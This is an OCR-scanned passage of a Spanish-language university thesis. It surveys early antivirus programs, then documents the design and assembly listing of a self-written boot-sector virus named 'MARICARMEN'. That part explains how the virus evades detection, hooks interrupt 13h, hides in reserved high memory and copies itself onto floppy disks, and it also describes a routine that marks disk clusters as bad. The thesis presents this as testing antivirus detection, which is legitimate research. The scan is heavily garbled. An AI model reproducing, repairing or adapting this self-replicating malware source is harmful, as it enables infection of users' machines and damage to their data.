archivo de comparacién, teniendo un potencial
genérico de supervision.

The Norten
AntlVlrus.

El Norton AntiVirus, estd cargado de opciones para
detectar, identificar y reparar los dafios que resultan de
la actividad de un virus. Uno de sus puntos fuertes es
su habilidad para afadir campos de dsfinicién a su
base de datos sobre virus.

E! Norton Antivirus, versién 2, tiene dos componentes
interactivos: el Interceptor de Virus, (Virus Intercept}
que es un TSR, y la Cllnica de Virus (Virus Clinic).
Cuando se configuran el TSR y el médulo da deteccién
para méxima proteccién, se paga el precio en el costo
de memoria: dado a los distintos niveles de proteccion,
es posible que se dedique tan solo 1K de RAM a la
supervisién de los virus en un primer nivel, 15K en un
sagundo y 32K para el nivel méximo,




Nombre

Descripcion

El Norton AntiVirus usa el método llamado “suma de
verificacion inteligente. Cuando se carga el TSR
autométicamente en el arranque, presenta una caja de
alerta, con sirena, cuando entra en contacto con un
archivo ejecutable no protegido. de sistema,
manejador o de proteccién. En esta caso presenta tres
opciones: seguir con el acceso al archivo, vacunar el
archivo o detsner el acceso. Cuande se vacuna un
archivo, se crea un archive de prueba ocultc de 77
bytes.

Tamhién se activa la alarma cuando se dstacta un
archivo infectado o potencialmente infectado. Si la
infeccién es por una variedad conocida de virus se
nombra al mismo, en caso ¢ontrario se marca comnfo
desconocido y se da opcidn de seguir o cancelar el
acceso.

Después ds la deteccién, lama a la Clinica de Virus
para efectuar una revision complseta, con el fin de
reparar o efiminar cualquier archive infectado.

Una vez que se hayan creado los archivos de suma de
verifiacién inteligente para todos los programas, se
puede desactivar la opcién de suma de verificacién
automatica.

Vacclne.

Ataca a los virus con servicios que, por separado,
revisan, supervisan, analizan las imédgenss de los
discos, imponen restricciones de escritura a los discos
y protegerdn los valores del CMOS.

La operacién del programa se maneja desde la linea
de comando o desde archivos de comandos a los que
se les afade pardmetros de opcion.
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Nombre

Deacripcion

Tres servicios forman la primera linea de defensa: el
supervisor TSR Vacuna (Vaccine), el detector de virus
Examen (physical), y el creador de archivos de suams
de verificacién Verificador (check-up). EI TSR Vacuna
vigila las interrupciones de DOS y advierte sobre
actividad de un virus en el curso de todas las
peticiones de interrupcion de lectura o escritura,

Una parte esencial del potencial de supervisién de
Vaccine, es el archivo ASCIl editable de programas
autorizados (APF), un listado de todos los programas
seguros, que se lge hacia 1a memoria cuando se llama
el TSR.

E! servicio de deteccién, Examen, es mas agresivo en
cuanto a la protaccién de los archivos ejecutables y
brinda mas informacién sobre la naturaleza de la
actividad del virus. Refiriéndose a una lista de virus
conocidos, puede nombrar al virus sospachoso y
eliminar los archivos infectados.

El andlisis de los cambios del sistema lo hace el
servicio Verificador, Esta registra las sumas de
verificacién codificadas para todos los archivos de
programas esenciales o cualquier archivo que se
defina por parAmetros y mantiena un registro de los
archivos alterados o borrados. El servicio Rayos X
(xray) ofrece respaldo y restauracién del contenido del
CMOS, y el servicio Refugio (shelter) impide todos los
intentos de escritura hacia cualquier disco al que se
pueda tener acceso.




Nombre

Descripclén

Viruscan

Es un programa que se activa desde la Iinsa de
comando y no cuenta con menis o pantallas de
programa. E! programa se orienta hacia los usuarios
corporativos de Administracion de Sistemas de
Informacién- Viruscan es un grupo de tres programas:
VSHIELD, Viruscan y Clean-Up, que detactan, eliminan
y previenen el ataque de 781 virus.

El VSHIELD, que reside en memoria, previene las
infacciones buscando las “firmas" de los virus en la
memoria, el sector de arranque, la tabla de particionss
y los archivos. También puede correr una verificacion
de CRC vy evitar que el sistema utilice un archivo que
no se haya reconocido. El programa utiliza un total de
34K de RAM.

Virus
Secure for
Windows

Este paquete puede verificar los discos flexibles y
ocasionalmente los discos duros. Su estratégia para la
prevencion y eliminacién de virus es conservadora, ol
método primario para eliminar un virus es eliminar el
archivo infectado para evitar la propagacién del dafio,
presantando también una opcidén para restaurar los
sectores de arranque dafados.

El programa usa un archivo de control para supervisar
el tamafo, atributo, hora y fecha de creacién de los
archivos en el disco duro y los discos flexibles. Un
detector de virus verifica la existencia de “firmas" que
indican la presencia de un virus. El programa realiza
ravisionas parciales o totales y comparacionss con
archivos de control por disco légico, directorios o por
archivo. También verifica la memoria convencional,
pero sélo cuando Windows corre en modo real.

Virus Secure actualiza autométicamente su registro de
control y mantiene una lista de archivos excluidos,
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DESARROLLO DE UN NUEVO VIRUS

Los motivos por los que un programador decide crear un virus Informético
se describen en la seccidn 1.3.1.

En este caso en particular, el principal motivo es el de probar a los sistemas
de proteccidn, a fin de evaluar su capacidad en detectar y contener ataques de
virus no clasificados.

Para fines de ser mas preciso an la avaluacién de los sistemas de
detecci6n, se disefia una estructura con todos los médulos de un virus, con los
cuales se hacen combinaciones para obtener cuatro virus, uno de cada tipo. E!
virus listado en fa seccidén 4.3, es el virus de tipo "Portador (efecta el proceso de
infecclén, pero no ocasicna ninglin dafio).

El desarrollo del virus se basa por completo en los aspectos tebricos
oxplicados en el capftulo 2, v la filosofia de programacién se basa en los
conceptos presentados en el capltulo 1.

4.1 Introducclién.

El punto inicial para et desarrollo de un nuevo virus es sl de seleccionar que
tipo de virus se quiere crear, es decir, que caracterfsticas tendra.
Recordando los distintos tipos de virus, considere o siguiante:

*Benignos* -No se reproducen y no ocasionan dafios.
*Caballo de Troya" -No se reproducen pero ocasionan dafio.
“Portadores" -Se reproducen pero no ocasionan dafio.

*“Virulentos* -Se reproducen y ademas ocasionan algun dafio.



Recordando que un virus se compone de médulos, tales como:
« médulo de instalacién

= médulo de reproduccién

* mddulo de dano

entonces podemos desarrollar rutinas especificas para cada médulo de un virus, y
combinéndolas, se puede tener un virus de cada tipo con la misma base
estructural.

Por ejemplo, un virus constituido por un médulo de instalacion y que
efectie cada cierto tiempo una rutina vistosa en la pantalla puede considerarse un
virus bsnigno, ya que no contiene el médulo de reproduccion o el de dafio. Sia
este virus se le agrega el mddulo de dafo, entonces serd del tipo “Cabalio de
Troya", pero st en cambio se le agrega el médulo de reproduccién, entonces seré
del tipo "Portador”. Si se le agregan ambos mddulos sers de! peor tipo: "Virulento',

Asl, se decide dasarrollar un virus con {as siguientes caracteristicas de base
estructural;

« Infeccién del sector de carga de los discos.
~ Se establezca como residente en memoria.
« Intercepte la intarrupcién 13h (acceso al manejo de los drives por el BIOS).

Con estas caracteristicas de base, se analiza la funcién de cada uno de los
médulos:

Médulo de Instalacion.

Este es el médulo mas complicado a desarrollar. Tomada la decisién de
infectar al sector de carga, el principat punto a cuidar es el hacho de evitar ser
detectado.

Sobreescribir completamente al virus en e} sector cero es la manera més
sencilla de efectuar fa infeccin, pero no es la mejor.

Su dsteccién por un paquete antivirus se puade evitar con relativa facilidad,
dado que elios se basan en el reconocimiento de firmas y dado que no
cuentan con la firma del nueve virus, entonces, seguramente, no lo
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reconocerfan. Pero algunos paquetes como el Nornon Disk Doctor
reconocerfan que el sector cero esta modificade y podrlan reparario, con lo
que borrarfa at virus.

Para evitar esto, se decide sobreescribir solamente parte del virus en el sector
de carga: 24 bytes qus forman una rutina destinada a copiar al virus -que se
encuentra en el sector 11 del disco- en la parte alta de la memoria,
transfiriéndole el control del procesador para que éste contindie con el proceso
de instalacién. Los 24 bytes que se resmplacen se almacenardn en un area
especifica junto con el resto del virus en un sector del Root Directory (sector
11).

Una vez transferido el control a la parte dal virus cargada en la memoria alta,
ésta ejecuta la intercepcion de la interrupcién, transfiriendo el vector de la
interrupcién 13h a la direccion de la interrupcion 6Dh y después estableciendo
fa direccién de la parte activa del virus en lugar del vector 13h. Esto provoca
que cada vez que sea utilizada la interrupcién 13h, se ejecute primero el ¢édigo
del programa virus.

Para svitar que el virus sea borrado o sobrescrito por algin otro programa, se
protege restando 2 Kb de la parte alta de la memoria, dejando el Iimite
direccionable de SF80:0000h para los demés programas.

Por dltimo, restablece los 24 bytes del sector de carga original y le transfiere el
controf, con lo que se carga el sistema operativo de manera normal, pero el
virus ya se ha establecido en la RAM.

Médulo de Infecclén.
La reproduccion es la caracterfstica mas peculiar de los virus informaticos. Para
ol virus desarrollado el proceso de infeccién es el siguiente:

- Lee el sactor de carga al érea de trabajo.

- Cada vez que se pide un acceso a un disco en la unidad A, se verifica si el
disco ya esta infectado. De estarlo ejecuta la interrupcidn 13h (6Dh), de
manera normal. Si el disco no esta infectado contindia con el proceso de
infeccion.

- Guarda los primeros 24 bytes del programa de carga en un érea especffica
de datos, dentro del virus.



- Remplaza los primeros 24 bytes del virus por los del programa de carga
original.

- Copla el virus en el sector 11 del disco.

- Copia el programa de carga medificado al sector cero del disco.

Este médulo alentaré los procesos de escritura y lectura de! drive A, por lo que
algunos usuarios experimentados podran sospechar la existencia del virus,
pero en términos generales, la mayorfa no se percatara del retardo.

Médulo de dafio.
El médulo de dafo es el médulo mas sencillo de crear, ya que se cusnta con
muchos recursos, dentro del computador, para borrar o alterar informacion.
Para el virus que se desarrolla se decide afectar solamente a los discos
flexibles de 5 1/4 pulgadas.
El dafo que se les ocasiona es, cada vez que se accese a un disco en la
unidad A, siendo dfa seis de cualquier mes, entre las 20:00 y 21:00 hrs, se le
marcaran los 200 primeros clusters del disco como dafados.’
Sl algin archivo ocupaba uno o varios de estos cluster, no se podra accesar a
él, aunque el cluster esté en buen estado flsico.
Para entender como efectua este proceso el programa, baste recordar que an
la FAT se lleva el control del espacio disponibfe en el disco, por lo tanto,
solamente se lee el primer sector de la FAT en un é4rea de trabajo, marcando
los primeros 200 clusters con el cédigo 'FFO', para que los reconozca como
dariados y, posteriormente sobrascribir la FAT original con ia que fue alterada
an el area de trabajo.
Este proceso pusde efectuarse muy réapido, por lo que el retardo en la
interrupcién no es muy “palpable”, asi que los usuarios no se daran cuenta de
la infeccidn de su computador.

El desarrollo conceptual detaltado de cada rutina det virus se describe en la
siguiente seccién.
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4.2 Desarrollo en méduilos.

En fa seccién 4.1, se explica la concepcion de los médulos del virus desde
el punto de vista tedrico, en base a lo estudiado en los capltulos 1y 2.
En la presente seccidn, se explicard el desarrolio de los médulos en base a
aspectos técnicos, detallando su funcionamiento real.

Médulo de instalaclén.
Todo disco que esté formateado contiene un programa de carga en el sector
cero. Este programa de carga es el encargado de ejecutar al sistema operativo
si el disco s botable, si no lo es, envia un mensaje indicando retirar el disco y
remplazarlo por uno botable. El sector cero del disco se carga en la direccién
0000:7C00h en la BAM, al prenderse la computadora.
El primer byte del sector de carga es una instruccién de saito (JMP) y el
segundo byte es el nimero de bytes que debe saltar para transferir el control
al programa de carga. Es en la direccién donde comienza el programa de
carga en donde se deben escribir los 24 primeros bytes del virus. Para obtener
esta direccién, basta con sumar 2 al segundo byte del sector de carga.
Los 24 bytes del virus qua reamplazan a los del programa da carga original
transfieren una copia del sector 11 del disco a la parts alta de la memoria, en la
direccidn 9FA0:0000h.
Esta direccion se escogié por ia siguiente razén; el espacio fisico direccionable
para una memoria base de 640 Kb va desde 0000:0000h hasta AG00:0000h.
Para proteger al virus en memoria se debe instalar en la parte alta de la misma
vy raducir et espacio direccionabls en RAM.
El espacio direccionable se reducs restandole 2Kb a ta memoria disponible,
con o que la direccion més alta a la que puede accesar el sistema operativo y
los demés programas es la direccién 9F80:0000h (fig. 4-1).



ADCOOH o J—
Lot
€81 £4PACIO MO PUEDE SER UTILIZADO
U MAS O EL SIHTEMA
OPERATIVO.
DFBOOH -
-
Parte residents det DOS
da Ttabajo
o ususrio y datos) M~ RAM
Paris residents del DOS
" - Atea de datos parels ROM BIOS y BASIG
00400H . Area da dalos parala ROM BIOS
Veciores de Interrupeién
00000H g, u—
FIGURA 4.1, Ma, fs mematis usado deapuds ds reatar 2Kbals
mernotia disponible an RAM.

De esta manera el espacio comprendido entre las direcciones 9F80.0000h y
ADDO:000h no se afectard durante la secion de trabajo, por lo que este espacio
se emplea de la siguiente manera:

« Guardar al virus en la direccién SFAG:0000h a 9FC0:0000h (512 bytes).
»Mantener un érea de trabajo en el espacio comprendido entre las

direcciones 9F C0:0000h y SFE0:0000h (512 bytes).

Esto se representa en la fig 4-2.
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FIGURA 4-2. Mapa de memotia usado despuds de instalarse el virus

Una vez cargado el virus en la direccién 9FAD;0000h, se transfiere el control det
procesador a esa direccién, Ef programa en RAM empieza con un salto- de 48
bytes- a la rutina de instalacién, dado que los bytes 3 a 26 es un 4rea de datos
en donde se guardan los 24 bytes del programa de carga original y los
sigulentes 24 bytes es el cédigo que se remplaza por los primeros 24 bytes del
programa de carga de los discos a infectar.

La instalacién continGa restableciendo los 24 bytes originales dsi programa de
carga que se encuentra en la direccién 0000:7C00h en la RAM, calculando
primero ¢! comienzo del programa sumando 7C02h al valor del byte en la
direccién 0000:7C01h. La transferencia se efectGa empleando la instruccién
MOVSB, la cual mueve un byte de la direccién DS:SI a la direccién ES:DI.
Estableciendo e} valor de CX para 24 bytes se emplea la instruccién REPZ que
repite 1a operacién MOVSB 24 veces, dado que cada vez que un byte es



transferido, e! registro CX es decrementado y los registros Sl y 01 son
incrementados.
Una vez restablacido el programa de carga, se continGa con la intarcepcién de
la interrupcion 13h. Los vectores de interrupcion se establecen a partir de la
direccién 0000.0000h empleando 4 bytes por vector. Asl, la interrupcién 13h
(19 decimal) tiene su vector en la direccién;

19x4=76 = 4Ch

entonces se sabe qua la parte baja de la direccidén estd en 0000:004Ch y la
parte alta de la misma en 0000:004Eh, por lo que se leen tales direcciones y se
transfiere el contenido en la direccién del vector de interrupcién 6Dh {decimal
109). La direccion del vector de la interrupcién 6Dh se encuentra de la misma
manera;

109x 4 = 436 = 1B4h

asf que se transfiere el valor de la palabra en 0000:004Ch a la direccién
0000:01B4h y el valor de la palabra en 0000:004Eh a 0000:0186h. Esto
equivale a direccionar ambas interrupciones (13h y 6Dh) a las rutinas del BIOS
para manejo de drives {fig 4-3).

1600001 -
ROM 8108

AUTINA DE INTERAUPCION 12

€0000H o

Agogon -

o0400H o
VECTOR DE INTERRUPCION aDxy
VEGTOR DE INTERRUPCION 130

aosoon -

FIOUAA 4.3, REORIENTAGION DEL VECTOR 80R FAAA QUE

APUHTE HACIA LA RUTINA 13 OEL BI0S,
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Ahora se cambia el valor de Ja diraccién en 0000:004Ch (vector 13h), por la
direccién de la parte activa del virus, en la parte alta de la memoria {direccién
9FAQ:007Ch), de tai manera que fa interrupcién 13h apunta al virus (fig. 4-5).

100000H .
AOM BIOS
RUTINA DE INTERFRUPCIKON 130 {9t
EOC00H .
£
ADOOOH B
-
OFATCH SECCION ACTIVA DEL VIRUS
-
00400H
VECTORA DE 1]
YECTOR DE OH
00000H ——_ g
o
FIGURA 4-4. REORIENTACION DEL VECTOR 13h PARA QUE
APUNTE HACIA LA RUTINA AGTIVA DEL VIRUS,

Por Uitimo se protege al virus en memoria para terminar con su instalacion.
Como se menciona anteriormente, debe de restérsele 2 Kb a la memoria
disponible en RAM.

En el aspacio entre las direccionas 0000:0400h y 0000:0600h se localiza el &rea
de datos del BIOS (fig. 4-1), y dentro de ésta, en la direccidn 0000:0413h se
registra la cantidad de memoria disponible en Kb, por lo que basta restarle 2
Kb al valor contenido en esta direccién para que la direccién méaxima
disponible para el DOS y demés programas sea 9F80:0000h, no pudiendo
utilizar el espacio que esté después de esta direccion.
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Una vez concluido tado esto se transfiere el control a la direccién 0000:7C00h
que s en donde se carga de manera normal al sistema operativo, pero el virus

ya qued® instalado en 1a memoria.
E| diagrama de flujo para este mddulo se presenta a continuacién, en la figura

4-5,

€N LA PARTE ALTA

o
DE LA RAM. EN LA BIREC
CION 9 AT 0000n

FEBTABLECE LOS 2¢ BYTES.
DEL PROGRAMA DE CARGA
ORIBINAL

£5700 BYTES €8T AN GUAR
DADCS EN EL AHEA DE DA
708 DEL ViRLe.

TIGHE ACVESTSA TR LA
INT 8On OUE APLN.

TE A LA RUTINA DE INTE—
RAUPGIN 130 EN LA ROM
8108

CAMBIA ALVECTOA DE LA
INT. 130 PARA QUE APUN-
TEALAPARTE ACTIVA DEL

DNAGRAMA DE FLUJO
DEL MODULO DE

INSTALAGION

VRECCION DG0D TCOON

@

Médulo activo,
La interrupcidn 13h (que es interceptada por el virus), emplea servicios
impontantas para 1a lectura y escritura de los discos. Esta interrupcidn es
utiizada por muchos programas, incluyendo instrucciones del sistema
operativo como DIR, COPY, DEL.
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Debido a esto, cada vez que se utiice esta Interrupcién el virus tiene
oportunidad de checar si se quiere afectuar un intento de lectura o escritura a
un disco, esto tan s6lo con comparar el valor del registro AH:

AH = 02h - lectura,
AH = 03h - escritura.

EL valor dsl registro DL indica a qua drive se quiers accesar siendo 0 para el
drive A, 1 para el drive B y 80h para el disco duro.

Si el virus comprueba que nec es un intento de lectura o escritura © que no se
quiere accesar al drive A, ejecuta la interrupcién 13h (6Dh) de manera normal.
En caso contrario, el virus utiliza la interrupcién 1Ah funcién 04h para obtener la
fecha del sistema. Al ejecutarse la interrupeién, el dla de [a fecha se pone en el
registro DL, por lo que se compara con el valor 06h para saber si es el sexto
dfa del mes. Si no es el sexto dfa del mes, entonces llama al médulo de
infeccion.

Si es el sexto dfa del mes, utiliza nusvamente la interrupcion 1Ah pero en esta
ocasién con la funcién G2h para obtener la hora del sistema. La hora se
astablace an el registro CH, por lo que se compara con el valor 20h para saber
st s una hora entre las 20:00 y 21:00 hrs. Si no se cumple esto se llama al
médulo de infeccidn, pero si se cumple estar trabajando el dfa 6 del mes, entre
las 8 y 9 de la noche entonces se llama al mddulo de daio.

£l diagrama de flujo para este médulo se presenta en la figura 4-6,

Mddulo de dario.

En este virus, el dafio explicado en la seccidn 4.1, de marcar 200 cluster como
dafados es sustituido por una rutina que presenta un remolino de caracteres
en la pantalla. El cambio del efecto de este médulo es para evitar que se
experimente con rutinas destructivas.

El efecto de remolino es muy simple, configurdndose esta rutina para
monitores a colos, en dondse se define un 4rea en la parte central del monitor
con ¢cuyos caracteres se mueven para dar un efecto de remoling, como si el
monitor se “tragara"las lstras en la parte central de la pantalla.
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FIGURA 4-8. XAGRAMA DE FLLUO PARA
EL MODWLOACTIVD:
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Lo primero que se establece es el valor inicial de los contadores de caracteres
a mover - registro DX, rapaticién del efecto - registro CX, y l1a direccién del
buffer de video que, para los monitores a color, es la direccién B800:0000h.
Cada palabra (doble byte), en esta direccién corresponden al caracter y
atributo de color desplegado, por lo que el centro de fa pantalla se establece
en la direccibn 1998 decimal, como se muestra en la figura 4-7.

COLAIRAS

#1800 000N

6800-00N0N : !
(LT
B800.01EGN {gpm
8800:000% g

P

UNEAS

nmm.’

Wi
Jowooran g 7

B0 OFAGH g 7

1506 (DTCEM)  CENTAO OE LA PANTALLA

FIGURA 4-7. DIRECCIONES DEL BUFFER DE YIDEO PARA UN MONITOR
A COLOR {80 CARACTERES X 25 UNEAS).

A partir de este punto se comienza por mover el caracter ubicado a la izquierda
al punto central, Después se mueve el caracter inferior al caracter rmovido a la
posicion del caracter que se movid, después se musven los caracteres hacia la
derechay por Ultimo hacia abajo. Esto puede entenderse mejor, observando la
figura 4-8, considerando el cuadro marcado con una X como punto central.
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FIGURA 4.8 MOVIMIENTO DE CARACTERES PARA EL EFECTO DE
PANTALLA EFECTUADO POR EL VIRUS.

Como pueds apreciarse, cada vez que se efectde un movimiento de caracteres
hacia la izquierda o hacia la derecha se dabe incrementar el contador de
caracteres a mover (DX) y cuando se efectie un movimiento total de
caracteres se incrementa el contador de repsticionas (CX). Una vez que se
efectuie el movimiento de 24 caracteres (maximo vertical}, se gjecuta una rutina
de retardo, ya que este proceso es tan répido que de no emplearse este
retardo, no se abservarfa nada en la pantalla.

E) efecto termina hasta que el caracter mas lejano (en secuencia espiral) al
punto central desaparezca y una vez que esto pasae, se ejecuta la interrupcién
13h (6Dh) de manera normal.

Médulo de Infeccidn,

En el desarrollo de este virus no se agrega una rutina para infeccién de disco
duro, para evitar problemas de propagacion masiva, en caso de utilizarse el
programa. Una rutina de infeccidn del disco duro puede ser desarrollada de
manera muy similar a la de un disco flaxible,

La infeccién o reproduccién consiste simplemente en copiar al virus al sector
11 de un disco "sano” y modiificar su sector de carga cambiando 24 bytes del
programa de carga original por el inicio del cédigo virus.
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Para esto, primero se lee ol sector de carga del disco "sano* en el drea de
trabajo en la direcclan fisica 9FC00h. Una vez esto, el virus comprueba si no
estaba infectado previamente, comparando los 24 bytes del cédigo de carga
con los 24 primeros bytes del cddigo virus. Si el disco ya estd contagiado,
retorna al médulo activo y ejecuta la rutina de interrupcién 13h (6Dh) de
manera normal.

Si el disco no estd contagiado, entonces sustituye los primeros 24 bytes del
programa de carga original por los primeros 24 bytes del cédigo viral y escribe
este sector ya modificado en el sector cero, transladando ademas el virus, que
esta en la parte alta de la memoria, en el sector 11 del disco (fig 4-8).

AOOODH Bon-
o
SFECOH e po | OScoRmaE
> P>
SECTOR DE CARGA INFECTADO sEcTOR0
OFCOOH
L
VIRUS
SFAOOH .t
o
SEGTOA 11
9FBOOH g,
B>
00000H
.
FIQURA 4-9.INFECCION DE UN DISCO FLEXIBLE

De esta manera, ahora el disco est4 infectado por el virus y es capaz de
efectuar todas las funciones aqul descritas y de propagarse a otras
computadoras.

£l diagrama da flujo para este médulo se presenta en la figura 4-10,
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4.3 Llistado del programa.

El listado presentado a continuacion no es el del virus propiaments, sino de
un programa que al ejecutarse produce un disco contaminado con el virus. El
listado del virus se encuentra dentro de este programa, el cual empieza con la
etiqusta "VIRUS", y termina con Ja instruccién anterior a la atiqueta "S".

UNIVERSIDAD NACIONAL AUTONOMA DE MEXICO
E.N.E.P. ARAGON

VIRUS *MARICARMEN®

CODSEG SEQGMENT
ASSUME CS:CODSEG, DS:CODSEG

ORG  100h
INICIO; JMP INSTALA :SALTA A LA RUTINA DE INSTALACION
SECTOR DB 5120UF () SAREA DE TRABAJO PARA LEER Y '

:CAMBIAR EL SECTOR 0 DEL DISCO

,: RUTINA OE CONTAMINACIOR AL DISCO A
i

; ESTA RUTINA LEE EL SECTOR CERO DE EL DISCO SANO Y LO GUARDA EN

: EL AREA DE TRABAJO *BECTOR"
B
INSTALA: MoV AX.CS iSEGMENTO EN AX
MOV DS.AX DS PUNTO DE DATOS
MoV ES.AX ES = CS
XOR AXAX DANVEA
MOV X LEER 1 SECTOR
MOV oX.0 iSECTOR DE CARCA {SECTOR 0}
LEA BX.SECTOR :DESPLAZAMIENTO DE BUFFEA
INT 25h LEER EL SECTOR
POPF ;DESCARTAR LAS BANDERAS DEL STACK
JMP S iSALTA A LA RUTINA DE INSTALACION
§
H €CODIGO YIRUS
¥
VIRUS: JMp INSTALA_VIRUS :SALTA EL AREA DE DATOS
CAMBIO 08 24DUP (7 JAREA DONDE SE GUARDAN LOS PRIMERO 24 BITS DEL

;PROGRAMA ;DE CARGA




LISTADO DEL VIRUS *MARICARMEN® (CONTINUA)

ESTA RUTINA CONSTA DE L.OS 24 BYTES QUE SE
SOBAEESCRIBEN EN EL PROGRAMA DE CARGA

MOV

JMP
NOP

AX,9FADh
ESAX

AX.0201h

ESTA RUTINA RESTABLECE LOS 24 BYTES AL

PROGRAMA DE CARGA ORIGINAL

SNSTALA_VIRUS:
XOR AXAX
MoV DS.AX
MoV 51,7C01h
MoV ALBYTE PTR(SI)
ADD AX.TC02h
MoV OtAX
MoV $1,0002h
oV cx 24
MoV AX 9FADR
Mov DSAX
XOR AXAX
MOV ESAX
cto
REPZ MOVSB

/SEQGMENTOC EN DONDE SE COPIARA
AL VIRUS

JLEER 1 SECTOR
JCILINDRQ,SECTOR
{CABEZA,DRVE
(ES:BX - BUFFER
JLEER SECTOR

JSALTA PARA EJECUTAR EL
JCODIGO VIRUS

AX=0

:DS~0 - SEGMENTO DE DATOS

:SI APUNTA AL SEGUNDO BYTE

{DEL PROGRAMA DE CARGA
JAL=CONTENIDO DE LA DIRECCION DS:SI
ADICIONA 7CO2h PARA OBTENER LA

:DIRECCION DE COMIENZO DEL PROGRA;MA DE CARGA

;GUARDA ESTA DIRECCION EN Dt
24 BYTES

JSEGMENTO DE DATOS = 9FAOh
ES =0

{TRANSFIERE 24 BYTES DE 058!
MESDI

ESTA RUTINA CAMBIA AL VECTOR DE INTERAUPCION
13h POR LA DIRECCION DE LA PORCION ACTIVA DEL

VIAUS,

EL VECTOR ORIGINAL 12 SE QUARDA EN EL VECTOR
DE LA INTERRUPCION 80h.

XOR
MoV
Mov
MOV
MOV
MOV
MOV

MoV

AAX
DSAX
AX.WORD PTR DS:{004Ch)
WORD PTR DS:[01B4h) AX
AXWORD PTR DS:[004Eh)
WORD PTR DS:[01B8h) AX

WORD PTR DS:{004Ch) 007Ch

SEGMENTO DE DATCS = 0

:AX » DESPLAZAMIENTO DE LA INT, $3h
{DEZPLAZAMIENTO DE LA INT, 6Dh=AX
[AX=SEGMENTO DE LA INT. 13h
{SEGMENTO DE LA INT. 8Dh=AX

WORD PTR DS:[004Eh).9FAOh {SECTOR DE LA INT. 13h = SECTOR DE

LA PARTE ACTIVA DEL VIRUS

{DESPLAZAMINETO DE LA INT. 13h = DES-
iPLAZAMIENTO DE LA PARTE ACTIVA DEL VIRUS
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LISTADO DEL VIRUS "MARICARMEN® [CONTINUA)

MoV AXWORD PTR DS:[0413h]
suB AX2

oV WORD PTR DS:[0413h) AX
JMP pso

NOpP

AX=BYTES DISPONIBLES EN RAM (EN Kb)
iLE RESTA 2Kb (EN ELLOS 5E INSTALA EL VIAUS)
{PROTEQE AL VIRUS EN LA PARTE ALTA DE LA ME

;EJECUTA EL PROGRAMA DE CARGA ORIGINAL

RUTINA ACTIVA DEL VIRUS

; ESTA RUTINA SE EJECUYARA CADA VEZ GUE SEA UTILIZADA LA INT, 13h

i
RESID:
MENSAJE
82

bisco:

NO:
NORMAL:

Jmp

[o:] "MARICARMEN".'$"
STt

PUSH cs

PUSH -Eg
PUSH AX

PUSH ax
PUSH X
PUSH oX
PAUSH 2]

PUSH Sl

CMP AHO2h
2 nisco
CMP AHQ3h
JNZ NORMAL
OR DLOL
JNZ NORMAL
MOV AH04h
INT 1&h

CMP OL06h
JNZ NO
Mov AHQ2h
INT 1Ah
CMP CH20h
JNZ NO
CALL MaL
JMP NORMAL
CALL INFECTA
POP St

pPoP ‘o

poP bx

POP [>4

POP BX

POP AX

POP ES

POP DS

INT 60h
RETF 0002h

:SALTA EL AREA DE MENSAJE
JAREA DE MENSAJE

JHABILITA INTERRUPCION
/BUARDA TODOS LOS REQISTROS
{EN LA PILA

i"ES UN INTENTO DE LECTURA?

iS1ES UNA LECTURA CONTINUA

i"ES UN INTENTO DE ESCRITURA?

181 NO LO ES EJECUTA LA INT. 13h NORMAL
+"LA LECTURA O ESCRITURA ES EN EL DRIVE A?

:SINO ES EL DRIVE A EJECUTA LA INT. 13h NORMAL

;FUNCION PARA OBTENER LA FECHA
JOBTIENE LA FECHA

1"ES EL SEXTO DIA DEL MES?

51 NO ES EL SEXTO DIA EJECUTA NORMAL
WFUNCION PARA OBTENER LA HORA
OBTIENE LA HORA

:"ES LA VIGESIMA HORA DEL DIA?
;SINO ES EJECUTA NORMAL
EJECUTA EL DANO

JEJECUTALA INT. 13k

{EFECTUA INFECCION EN EL DISCO

{RESTABLECE TODOS LOS VALORES DE LSO REGISTROS

SEJECUTA LA INT. 13h
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USTADO DEL PROGRAMA DETECTOR DE VIRUS (CONTINUA)

H RUTINA GUE EFECTUA UN DANO

i ESTA AUTINA SE EJECUTARA EL DIA 8 DE CADA MES, ENTRE LAS 20:00 ;

1Y 21:00 HRS.
B i
AAL: XOR Cx,cx [INICIALZA CONTADOR CX =0
REPITE: MOV AX,08800h SEGMENTO DE DATOS = B8800h
. MoV DS,AX B800h = BUFF EA DE VIDEO
XOR O%.0X
MOV AX, 1908 (CARACTER CENTRAL DEL MONITOR
MOV SEAX

i

H ESTA RUTINA EFECTUA EL MOVIMIENTO DE CARACTERES
H A LA [ZQUIERDA
i
[

ZQUIER:  INC ox
XOR BX.8X

cictot: MOV oist
ADU s12
MoV AX(81}
MoV {DI.AX
INC BX
cMP BX.DX
INZ cicLo

; ESTA RUTINA EFECTUA EL MOVIMIENTO DE CARACTERES
H

HACIA ARRIBA

ARRIBA: XOR 8x.8x

cicLo2: MOV [=X] T
ADD SL180
Mov AX,[57)
MOV [O1.AX
INC ax
cMP BX,DX
JNZ cicLoz

ESTA RUTINA EFECTUA EL MOVIMIENTO OE CARACTERES

A LA DERECHA

DEREGHA:  INC DX
XOR BX,8X

cIcLo: MoV IS
suB 512
MoV AX,[S]
MOV [DI).AX
NC BX
cMp BX,DX
INZ cIcLo3
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LISTADO DEL VIRUS "MARICARMEN" (CONTINUA}

: ESTA RUTINA EFECTUA EL MOVIMIENTO DE CARACTERES

; HACIA ABAJO
;
ABAJO: XOR BX.BX
CICLO4: MoV DI.st
suB 51,160
MOV L[S
MOV (094X
INC 8
CMP BXDX
NZ cicLos
cMp oX.22
INZ ZQUIER
Mav AX,00DBh
Mo WORD PTR [S1].AX
H
RETARDO: MOV AXOFFFh
REPITEZ: DEC AX
JNZ REPITE2
H
INC ox
P CX.025Fh
JB REPITE
MoV AXCS
MOV DSAX
MOV 0X,007ER
MoV AHS
INT 21h
RET

{SECTOR DEL MENSAJE
DESPLAZAMIENTO DEL. MENSAJE
(FUNCION DE ESCRITURA EN PANTALLA
{ESCRIBE MENSAJE (MARICARMEN).

RUTINA QUE EFECTUA INFECCION

; ESTA RUTINA SE EJECUTARA SIEMPRE Y CUANDO NO SEA EL DIA 8 DEL
+ MES Y ADEMAS NO SE ESTE TRABAJARDO ENTRE LAS 20:00 Y 21:00 HRS.

i

INFECTA:

MOV
Mav

ererereesrtecsartisniareritssere

i AUTINA QUE LEE EL SECTOR CERO DEL DISCO

1 evaretescareveere:

ravarsinasanes

AX.SFACh
DS.AX
ES.AX
A(0201h
CX.000th
DX,0000h
BX.0200h
6Dh

3

\SEGMENTO OE DATOS = 8F ADh
JES=SFADh

;LEER t SECTOR

{PRIMER SECTOR DEL DISCO

{DRIVE A

{DESPLAZAMIENTOQ DE DATOS «200h
